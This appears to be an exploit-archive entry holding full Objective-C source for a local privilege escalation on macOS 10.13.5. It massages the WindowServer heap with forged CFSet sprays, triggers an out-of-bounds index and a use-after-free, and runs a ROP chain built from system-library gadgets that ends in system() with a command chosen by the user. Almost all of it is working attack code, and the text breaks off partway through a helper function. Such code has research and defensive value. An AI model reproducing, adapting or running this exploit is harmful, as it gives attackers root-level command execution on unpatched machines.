Apple macOS 10.13.5 – Local Privilege Escalation
#import <Cocoa/Cocoa.h> #import <dlfcn.h> #import <mach-o/dyld.h> #import <mach-o/getsect.h> #import <mach/mach_vm.h> #import <pthread.h> #import "offsets.h" //utils #define ENFORCE(a, label) \ do { \ if (__builtin_expect(!(a), 0)) \ { \ timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \ goto label; \ } \ } while (0) // from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c #define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x]))))) #define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset]) #define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset]) #define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset]) // constants used by the exploit #define CFSTRING_SPRAY_SIZE (400*1000*1000) #define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array))) #define CFSET_SPRAY_SIZE (300*1000*1000) // pointers (80*8) + internal size (0x40) #define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40)) #define VULN_IDX (-0xaaaaab) // 4GB should be enough and it's the maximum we can spray in one OOL #define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000) #define SPRAYED_BUFFER_ADDRESS 0x200006000 #define NB_CORE_SWITCH 50 #define NB_HOLES_PER_SWITCH 1000 #define NB_REUSE 200 // private functions (both private and public symbols) static int (* SLSNewConnection)(int, int *); static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool); static mach_port_t (* CGSGetConnectionPortById)(uint32_t); static int (* SLSReleaseConnection)(int); static mach_port_t (* SLSServerPort)(void); // push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax] #define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10}) // mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi] #define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16}) // mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi] #define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16}) // mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax #define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0}) static int resolve_symbols(); static int build_rop_spray(void **rop_spray, char *command_line); static int massage_heap(int connection_id); static int register_application(int connection_id); static int setup_hooks(int connection_id); static int trigger_the_bug(int connection_id); static int reuse_allocation(int connection_id); static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size); static void timed_log(char* format, ...); static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate); static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number); static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id); int main(int argc, char **argv) { int connection_id = -1; void *rop_spray = NULL; bool free_application = false; ENFORCE(argc == 2, fail); ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail); timed_log("[+] Resolving symbols...\n"); ENFORCE(resolve_symbols() == 0, fail); timed_log("[+] Building our ROP chain...\n"); ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail); timed_log("[+] Creating a fresh connection...\n"); ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail); timed_log("[+] Setup 'hooks'...\n"); ENFORCE(setup_hooks(connection_id) == 0, fail); timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n"); ENFORCE(massage_heap(connection_id) == 0, fail); // no timed_log, we want to be fast :) ENFORCE(register_application(connection_id) == 0, fail); free_application = true; timed_log("[+] Application registered...\n"); timed_log("[+] Triggering the bug\n"); ENFORCE(trigger_the_bug(connection_id) == 0, fail); timed_log("[+] Let's free and reuse the application...\n"); // this will whack the application free_application = false; ENFORCE(reuse_allocation(connection_id) == 0, fail); timed_log("[+] Trigger the UAF...\n"); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail); // the kernel freed the pages for us :) rop_spray = NULL; // a last synchronised request to make sure our command has been executed... ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail); // don't leave any connections behind us... ENFORCE(SLSReleaseConnection(connection_id) == 0, fail); connection_id = -1; timed_log("[+] OK\n"); return 0; // fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266) fail: if (free_application) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id); } if (connection_id != -1) SLSReleaseConnection(connection_id); if (rop_spray != NULL) mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE); return 1; } static int resolve_symbols() { SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection"); ENFORCE(SLSNewConnection != NULL, fail); SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection"); ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail); SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection"); ENFORCE(SLSReleaseConnection != NULL, fail); SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort"); ENFORCE(SLSServerPort != NULL, fail); // ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it... ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail); CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET); // paranoid checks, check if function starts with push rbp / mov rbp, rsp ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail); return 0; fail: return -1; } // the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory static int build_rop_spray(void **rop_spray, char *command_line) { void *handle_libswiftCore = NULL; void* large_region = NULL; *rop_spray = NULL; // first we reserve a large region ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail); // then we allocate the first page void *rop_chain = large_region; ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail); // now we can construct our rop chain void *release_selector = NSSelectorFromString(@"release"); ENFORCE(release_selector != NULL, fail); // + 0x530 because of our forged CFSet and its 1st hash table entry (=0x200002537) BYTE(rop_chain, 0x530 + 0x20) = 0; // flags DWORD(rop_chain, 0x530 + 0x18) = 0; // mask QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector // and now the """fun""" part... handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW); ENFORCE(handle_libswiftCore != NULL, fail); void *libJPEG_text_addr; size_t libJPEG_text_size; ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail); void *libswiftCore_text_addr; size_t libswiftCore_text_size; ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail); uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system"); ENFORCE(system_address != 0, fail); // check our gadgets uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET)); ENFORCE(save_rbp_set_rax != 0, fail); uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET)); ENFORCE(set_rsi != 0, fail); uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET)); ENFORCE(set_rdi != 0, fail); uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET)); ENFORCE(pop_rbp_jmp != 0, fail); ENFORCE(dlclose(handle_libswiftCore) == 0, fail); handle_libswiftCore = NULL; timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax); QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot // SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax] // + 0x137 because of our forged CFSet and its 2nd hash table entry QWORD(rop_chain, 0x137) = set_rsi; // rax=0x200002137 // SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi] QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240; // rax=SPRAYED_BUFFER_ADDRESS+0x240 QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248; // rsi=SPRAYED_BUFFER_ADDRESS+0x248 QWORD(rop_chain, 0x248) = set_rdi; // SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi] QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600; // rdi=SPRAYED_BUFFER_ADDRESS+0x500 QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8; // rax=SPRAYED_BUFFER_ADDRESS+0x288 QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8; // rsi=SPRAYED_BUFFER_ADDRESS+0x290 QWORD(rop_chain, 0x290) = pop_rbp_jmp; for (uint32_t i = 0; i < 4; i++) { // POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8; // rax=SPRAYED_BUFFER_ADDRESS+0x2A8 QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8; // rsi=SPRAYED_BUFFER_ADDRESS+0x2D8 QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8; // rax=SPRAYED_BUFFER_ADDRESS+0x2D8 QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp; // rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600 } strcpy((char *)&BYTE(rop_chain, 0x600), command_line); QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this... // and duplicate it, we use two for loops to gain some time for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul) { mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i; vm_prot_t protection = VM_PROT_READ; kern_return_t kr; kr = mach_vm_remap( mach_task_self(), &remapped_page_address, 0x1000, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, mach_task_self(), (mach_vm_address_t)rop_chain, 0, &protection, &protection, VM_INHERIT_NONE ); ENFORCE(kr == KERN_SUCCESS, fail); ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail); } for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400) { mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i; vm_prot_t protection = VM_PROT_READ; kern_return_t kr; kr = mach_vm_remap( mach_task_self(), &remapped_page_address, 4*0x400*0x400, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, mach_task_self(), (mach_vm_address_t)rop_chain, 0, &protection, &protection, VM_INHERIT_NONE ); ENFORCE(kr == KERN_SUCCESS, fail); ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail); } *rop_spray = large_region; return 0; fail: if (handle_libswiftCore != NULL) dlclose(handle_libswiftCore); if (large_region != NULL) mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE); return -1; } size_t malloc_size(void *); static int massage_heap(int connection_id) { static UInt8 data_buffer[0x70]; memset(data_buffer, 'A', 0x70); CFDataRef hole_data = NULL; CFNumberRef place_holder_number = NULL; CFDataRef serialized_hole_0x60_data = NULL; CFDataRef serialized_hole_0x70_data = NULL; CFDataRef serialized_number_place_holder = NULL; bool free_tmp_application = false; hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20); ENFORCE(hole_data != NULL, fail); serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL); ENFORCE(serialized_hole_0x60_data != NULL, fail); CFRelease(hole_data); hole_data = NULL; hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20); ENFORCE(hole_data != NULL, fail); serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL); ENFORCE(serialized_hole_0x70_data != NULL, fail); CFRelease(hole_data); hole_data = NULL; uint64_t v = 0x1337BAB; place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); ENFORCE(place_holder_number != NULL, fail); serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL); ENFORCE(serialized_number_place_holder != NULL, fail); CFRelease(place_holder_number); place_holder_number = NULL; // now free the data to make holes :) uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder); size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder); for (uint32_t i = 0; i < NB_CORE_SWITCH; i++) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x6660000; // help changing core... ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail); free_tmp_application = true; for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++) { char key[20]; snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j); CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data; uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data); size_t data_size = CFDataGetLength(data); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail); snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail); } ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail); free_tmp_application = false; } CFRelease(serialized_number_place_holder); serialized_number_place_holder = NULL; CFRelease(serialized_hole_0x60_data); serialized_hole_0x60_data = NULL; CFRelease(serialized_hole_0x70_data); serialized_hole_0x70_data = NULL; for (uint32_t i = 0; i < NB_CORE_SWITCH; i++) { for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++) { char key[20]; snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail); } } return 0; fail: if (hole_data != NULL) CFRelease(hole_data); if (serialized_hole_0x60_data != NULL) CFRelease(serialized_hole_0x60_data); if (serialized_hole_0x70_data != NULL) CFRelease(serialized_hole_0x70_data); if (place_holder_number != NULL) CFRelease(place_holder_number); if (serialized_number_place_holder != NULL) CFRelease(serialized_number_place_holder); if (free_tmp_application) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x6660000; _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id); } return -1; } static int register_application(int connection_id) { ProcessSerialNumber psn; bool free_application = false; char app_name[0x40]; // app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application memset(app_name, 'B', sizeof(app_name)-1); app_name[COUNT_OF(app_name)-1] = 0; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail); free_application = true; // use a psn in the middle-end of our spray psn.lowLongOfPSN = 0x12340000; ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail); return 0; fail: if (free_application) { psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id); } return -1; } static int setup_hooks(int connection_id) { CFNumberRef set_array_values[35] = {NULL}; CFMutableArrayRef big_array = NULL; CFDataRef data = NULL; timed_log("[+] Forging our set...\n"); uint8_t set_hash_table[71] = { 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0 }; uint32_t set_size = 0; uint64_t v = 0x400000001; while (set_size < COUNT_OF(set_array_values)) { CFNumberRef n; n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); ENFORCE(n != NULL, fail); uint32_t h = CFHash(n)%71; if (set_hash_table[h] == 1) { set_array_values[set_size] = n; set_hash_table[h] = 0; set_size ++; } else { CFRelease(n); } v++; ENFORCE(v < 0x400000001 + 0xFFFFF, fail); } big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks); ENFORCE(big_array != NULL, fail); timed_log("[+] Creating our big set array...\n"); for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++) { CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks); ENFORCE(tmp_array != NULL, fail); CFArrayAppendValue(big_array, tmp_array); CFRelease(tmp_array); } for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++) { CFRelease(set_array_values[i]); set_array_values[i] = NULL; } timed_log("[+] Serializing it...\n"); data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL); ENFORCE(data != NULL, fail); CFRelease(big_array); big_array = NULL; uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data); size_t data_size = CFDataGetLength(data); timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000)); timed_log("[+] Patching it...\n"); uint32_t nb_arrays = 0; uint32_t cursor = 0; while (1) { uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3); if (position == NULL) break; position[0] = 0xCF; // Array to Set nb_arrays ++; ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail); cursor = (uint32_t)(position-data_bytes) + 3; } ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail); CFRelease(data); data = NULL; return 0; fail: for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++) if (set_array_values[i] != NULL) CFRelease(set_array_values[i]); if (data != NULL) CFRelease(data); if (big_array != NULL) CFRelease(big_array); return -1; } static int trigger_the_bug(int connection_id) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; int32_t index = VULN_IDX; int err; while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0) { // ENFORCE((err == 1011) || (err == -600), fail); ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB } return 0; fail: return -1; } static int reuse_allocation(int connection_id) { CFNumberRef set_array_values[8] = {NULL}; CFMutableArrayRef big_array = NULL; CFDataRef data = NULL; bool free_tmp_application = false; bool free_application = true; timed_log("[+] Forging our set...\n"); uint8_t set_hash_table[13]; memset(set_hash_table, 1, sizeof(set_hash_table)); uint64_t v; v = 0x2000025; set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0 ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail); set_hash_table[0] = 0; v = 0x2000021; set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1 ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail); set_hash_table[1] = 0; v = 0; uint32_t set_size = 2; while (set_size < COUNT_OF(set_array_values)) { CFNumberRef n; n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); ENFORCE(n != NULL, fail); uint32_t h = CFHash(n)%COUNT_OF(set_hash_table); if (set_hash_table[h] == 1) { set_array_values[set_size] = n; set_hash_table[h] = 0; set_size ++; } else { CFRelease(n); } v++; ENFORCE(v < 0xFFFFF, fail); } big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks); ENFORCE(big_array != NULL, fail); timed_log("[+] Creating our big set array...\n"); for (uint32_t i = 0; i < NB_REUSE; i++) { CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks); ENFORCE(tmp_array != NULL, fail); CFArrayAppendValue(big_array, tmp_array); CFRelease(tmp_array); } for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++) { CFRelease(set_array_values[i]); set_array_values[i] = NULL; } timed_log("[+] Serializing it...\n"); data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL); ENFORCE(data != NULL, fail); CFRelease(big_array); big_array = NULL; uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data); size_t data_size = CFDataGetLength(data); timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000)); timed_log("[+] Patching it...\n"); uint32_t nb_arrays = 0; uint32_t cursor = 0; while (1) { uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3); if (position == NULL) break; position[0] = 0xC8; // Array to Set nb_arrays ++; ENFORCE(nb_arrays <= NB_REUSE, fail); cursor = (uint32_t)(position-data_bytes) + 3; } ENFORCE(nb_arrays == NB_REUSE, fail); ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail); free_application = false; for (uint32_t i = 0; i < 1000; i++) { char key[0x80]; ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x56780000; // help changing core... ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail); free_tmp_application = true; // we use a long name to make sure it'll not be placed in our holes :) snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i); ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail); ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail); free_tmp_application = false; usleep(10); } CFRelease(data); data = NULL; return 0; fail: if (free_application) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x12340000; _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id); } if (free_tmp_application) { ProcessSerialNumber psn; psn.highLongOfPSN = 0; psn.lowLongOfPSN = 0x56780000; _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id); } for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++) if (set_array_values[i] != NULL) CFRelease(set_array_values[i]); if (data != NULL) CFRelease(data); if (big_array != NULL) CFRelease(big_array); return -1; } static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size) { uint32_t image_count = _dyld_image_count(); for (uint32_t i = 0; i < image_count; i++) { const char *current_dylib_name = _dyld_get_image_name(i); ENFORCE(current_dylib_name != NULL, fail); if (strcmp(current_dylib_name, dylib_name) != 0) continue; const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i); ENFORCE(dylib_header != NULL, fail); ENFORCE(dylib_header->magic == MH_MAGIC_64, fail); uint32_t max_size = dylib_header->sizeofcmds; ENFORCE(max_size < 0x2000, fail); struct load_command *load_command = (struct load_command *)(dylib_header+1); struct load_command *next_command; ENFORCE(dylib_header->ncmds < 0x100, fail); for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command) { ENFORCE(load_command->cmdsize <= max_size, fail); ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail); next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize); max_size -= load_command->cmdsize; if (load_command->cmd != LC_SEGMENT_64) continue; ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail); struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command; if (strcmp(segment_command_64->segname, "__TEXT") != 0) continue; struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1); ENFORCE(segment_command_64->nsects < 0x100, fail); ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail); for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++) { if (strcmp(sections[sect_i].sectname, "__text") != 0) continue; *text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i)); *text_size = sections[sect_i].size; return 0; } } } fail: return -1; } #pragma pack(push, 4) typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_descriptor_t ool_serialized_value; NDR_record_t NDR_record; uint64_t connection_id; uint32_t key_len; char key[128]; uint32_t serialized_value_length; } CGSSetConnectionProperty_message_t; #pragma pack(pop) static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate) { CGSSetConnectionProperty_message_t msg; memset(&msg, 0, sizeof(msg)); msg.body.msgh_descriptor_count = 1; msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR; msg.ool_serialized_value.address = (void *)serialized_value; msg.ool_serialized_value.size = serialized_value_length; msg.ool_serialized_value.deallocate = deallocate; msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY; msg.NDR_record = NDR_record; msg.connection_id = connection_id; strncpy(msg.key, key_value, sizeof(msg.key)); msg.key_len = 127; msg.serialized_value_length = serialized_value_length; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; msg.header.msgh_remote_port = connection_port; msg.header.msgh_id = 29398; kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0); return kr; } #pragma pack(push, 4) typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_descriptor_t ool_serialized_value; NDR_record_t NDR_record; uint32_t serialized_value_length; } CGSSetPerUserConfigurationData_message_t; #pragma pack(pop) #pragma pack(push, 4) typedef struct { mach_msg_header_t header; NDR_record_t NDR_record; uint64_t process_serial_number; uint32_t connection_id; } CGSSetAuxConn_message_t; #pragma pack(pop) static mach_msg_return_t _CGSSetAuxConn(uint32_t 